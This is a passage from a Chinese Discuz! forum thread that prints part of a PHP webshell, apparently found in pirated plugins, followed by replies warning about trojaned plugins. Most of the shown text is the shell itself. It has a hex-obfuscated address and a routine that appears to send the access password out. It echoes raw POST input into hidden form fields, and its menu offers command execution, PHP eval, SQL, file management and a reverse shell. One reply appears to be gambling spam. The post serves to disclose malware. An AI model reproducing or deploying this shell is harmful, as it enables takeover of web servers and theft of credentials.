407.         function_exists('phpinfo'),
     
408.         "\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31"
     
409.     );
     
410.     if ($password != '' && md5($infos[0]) != $infos[1]) {
     
411.         echo '<html><body><center><form method="POST"><input type="password" name="getpwd"> ';
     
412.         if (isset($_POST['groupcache'])) {
     
413.             echo '<input type="hidden" name="groupcache" value="' . $_POST['groupcache'] . '">';
     
414.         }
     
415.         if (isset($_POST['forum'])) {
     
416.             echo '<input type="hidden" name="forum[0]" value="' . $_POST['forum'][0] . '">';
     
417.             echo '<input type="hidden" name="forum[1]" value="' . $_POST['forum'][1] . '">';
     
418.             echo '<input type="hidden" name="forum[2]" value="' . $_POST['forum'][2] . '">';
     
419.             echo '<input type="hidden" name="forum[3]" value="' . $_POST['forum'][3] . '">';
     
420.             echo '<input type="hidden" name="forum[4]" value="' . $_POST['forum'][4] . '">';
     
421.         }
     
422.         echo '<input type="submit" value=" O K "></form></center></body></html>';
     
423.         exit;
     
424.     }
     
425.     if ((!isset($_POST['go'])) && (!isset($_POST['dir']))) {
     
426.         if ($_SERVER['SERVER_ADDR'] != $infos[3] && $_SERVER['REMOTE_ADDR'] != $infos[3])
     
427.             postinfo($infos[0]);
     
428.     }
     
429.     return $infos[2];
     
430. }
     
431. function subeval()
     
432. {
     
433.     if (isset($_POST['getpwd'])) {
     
434.         echo '<input type="hidden" name="getpwd" value="' . $_POST['getpwd'] . '">';
     
435.     }
     
436.     if (isset($_POST['groupcache'])) {
     
437.         echo '<input type="hidden" name="groupcache" value="' . $_POST['groupcache'] . '">';
     
438.     }
     
439.     if (isset($_POST['forum'])) {
     
440.         echo '<input type="hidden" name="forum[0]" value="' . $_POST['forum'][0] . '">';
     
441.         echo '<input type="hidden" name="forum[1]" value="' . $_POST['forum'][1] . '">';
     
442.         echo '<input type="hidden" name="forum[2]" value="' . $_POST['forum'][2] . '">';
     
443.         echo '<input type="hidden" name="forum[3]" value="' . $_POST['forum'][3] . '">';
     
444.         echo '<input type="hidden" name="forum[4]" value="' . $_POST['forum'][4] . '">';
     
445.     }
     
446.     return true;
     
447. }
     
448. if (isset($_POST['go'])) {
     
449.     if ($_POST['go'] == 'down') {
     
450.         $downfile = $fileb = strdir($_POST['godir'] . '/' . $_POST['govar']);
     
451.         if (!filed($downfile)) {
     
452.             $msg = '<h1>下載文件不存在</h1>';
     
453.         }
     
454.     }
     
455. }
     
456. ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312" /><style type="text/css">* {margin:0px;padding:0px;}body {background:#CCCCCC;color:#333333;font-size:13px;font-family:Verdana,Arial,SimSun,sans-serif;text-align:left;word-wrap:break-word; word-break:break-all;}a{color:#000000;text-decoration:none;vertical-align:middle;}a:hover{color:#FF0000;text-decoration:underline;}p {padding:1px;line-height:1.6em;}h1 {color:#CD3333;font-size:13px;display:inline;vertical-align:middle;}h2 {color:#008B45;font-size:13px;display:inline;vertical-align:middle;}form {display:inline;}input,select { vertical-align:middle; }input[type=text], textarea {padding:1px;font-family:Courier New,Verdana,sans-serif;}input[type=submit], input[type=button] {height:21px;}.tag {text-align:center;margin-left:10px;background:threedface;height:25px;padding-top:5px;}.tag a {background:#FAFAFA;color:#333333;width:90px;height:20px;display:inline-block;font-size:15px;font-weight:bold;padding-top:5px;}.tag a:hover, .tag a.current {background:#EEE685;color:#000000;text-decoration:none;}.main {width:963px;margin:0 auto;padding:10px;}.outl {border-color:#FFFFFF #666666 #666666 #FFFFFF;border-style:solid;border-width:1px;}.toptag {padding:5px;text-align:left;font-weight:bold;color:#FFFFFF;background:#293F5F;}.footag {padding:5px;text-align:center;font-weight:bold;color:#000000;background:#999999;}.msgbox {padding:5px;background:#EEE685;text-align:center;vertical-align:middle;}.actall {background:#F9F6F4;text-align:center;font-size:15px;border-bottom:1px solid #999999;padding:3px;vertical-align:middle;}.tables {width:100%;}.tables th {background:threedface;text-align:left;border-color:#FFFFFF #666666 #666666 #FFFFFF;border-style:solid;border-width:1px;padding:2px;}.tables td {background:#F9F6F4;height:19px;padding-left:2px;}</style><script type="text/javascript">function $(ID) { return document.getElementById(ID); }function sd(str) { str = str.replace(/%22/g,'"'); str = str.replace(/%27/g,"'"); return str; }function cd(dir) { dir = sd(dir); $('dir').value = dir; $('frm').submit(); }function sa(form) { for(var i = 0;i < form.elements.length;i++) { var e = form.elements[i]; if(e.type == 'checkbox') { if(e.name != 'chkall') { e.checked = form.chkall.checked; } } } }function go(a,b) { b = sd(b); $('go').value = a; $('govar').value = b; if(a == 'editor') { $('gofrm').target = "_blank"; } else { $('gofrm').target = ""; } $('gofrm').submit(); } function nf(a,b) { re = prompt("新建名",b); if(re) { $('go').value = a; $('govar').value = re; $('gofrm').submit(); } } function dels(a) { if(a == 'b') { var msg = "所選文件"; $('act').value = a; } else { var msg = "目錄"; $('act').value = 'deltree'; $('var').value = a; } if(confirm("確定要刪除"+msg+"嗎")) { $('frm1').submit(); } }function txts(m,p,a) { p = sd(p); re = prompt(m,p); if(re) { $('var').value = re; $('act').value = a; $('frm1').submit(); } }function acts(p,a,f) { p = sd(p); f = sd(f); re = prompt(f,p); if(re) { $('var').value = re+'|x|'+f; $('act').value = a; $('frm1').submit(); } }</script><title><?php
     
457. echo VERSION;
     
458. ?></title></head><body><div class="main"><div class="outl"><div class="toptag"><?php
     
459. echo $_SERVER['SERVER_ADDR'] . ' - ' . PHP_OS . ' - whoami(' . get_current_user() . ') - 【uid(' . getmyuid() . ') gid(' . getmygid() . ')】';
     
460. if (isset($issql))
     
461.     echo ' - 【' . $issql . '】';
     
462. ?></div><?php
     
463. $menu   = array(
     
464.     'file' => '文件管理',
     
465.     'scan' => '搜索文件',
     
466.     'antivirus' => '掃描后門',
     
467.     'exec' => '執行命令',
     
468.     'phpeval' => '執行PHP',
     
469.     'sql' => '執行SQL',
     
470.     'backshell' => '反彈SHELL',
     
471.     'info' => '系統信息'
     
472. );
     
473. $go     = array_key_exists($_POST['go'], $menu) ? $_POST['go'] : 'file';
     
474. $nowdir = isset($_POST['dir']) ? strdir(chop($_POST['dir']) . '/') : THISDIR;
     
475. echo '<div class="tag">';
     
476. foreach ($menu as $key => $name) {
     
477.     echo '<a' . ($go == $key ? ' class="current"' : '') . ' href="javascript:void(0);" onclick="go(\'' . $key . '\',\'' . base64_encode($nowdir) . '\');">' . $name . '</a> ';
     
478. }
     
479. echo '</div>';
     
480. echo '<form name="gofrm" id="gofrm" method="POST">';
     
481. subeval();
     
482. echo '<input type="hidden" name="go" id="go" value="">';
     
483. echo '<input type="hidden" name="godir" id="godir" value="' . $nowdir . '">';
     
484. echo '<input type="hidden" name="govar" id="govar" value="">';
     
485. echo '</form>';
     
486. switch ($_POST['go']) {
     
487.     case "info":
     
488.         if (EXISTS_PHPINFO) {
     
489.             ob_start();
     
490.             phpinfo(INFO_GENERAL);
     
491.             $out = ob_get_contents();
     
492.             ob_end_clean();
     
493.             $tmp = array();
     
494.             preg_match_all('/\<td class\="e"\>([Configure Command|Loaded Configuration File])+\s*\<\/td\>\<td class\="v"\>(.*)\<\/td\>/i', $out, $tmp);
     
495.         }
     
496. 
     

復制代碼

帖子長度超了，回帖接上


傳送門：安全小知識：為什么使用盜版插件容易被掛馬

pcyi

Discuz! 增加個安全中心

onetheme

   

yehui2512

yehui2512 發表于 2019-7-19 19:13
DZ后臺增加功能，“檢查權限”，“查殺木馬”。

明明我是ISO客戶端，非要顯示"來自安卓APP客戶端”。

yehui2512

DZ后臺增加功能，“檢查權限”，“查殺木馬”。

愚蠢的包子

大佬講解下這代碼是啥意思，小白一臉懵逼

安全專員

林子浩 發表于 2019-7-15 18:56
有人說源碼哥的插件里有木馬

無利不起早，做盜版的，那么便宜賣你插件，甚至免費送，背后比如有他的目的：
安全小知識：為什么使用盜版插件容易被掛馬！

在github上活捉一只黑客兼做盜版插件的狗，3315款插件受害！

yeah

         

樂虎國際

支持  

LooTan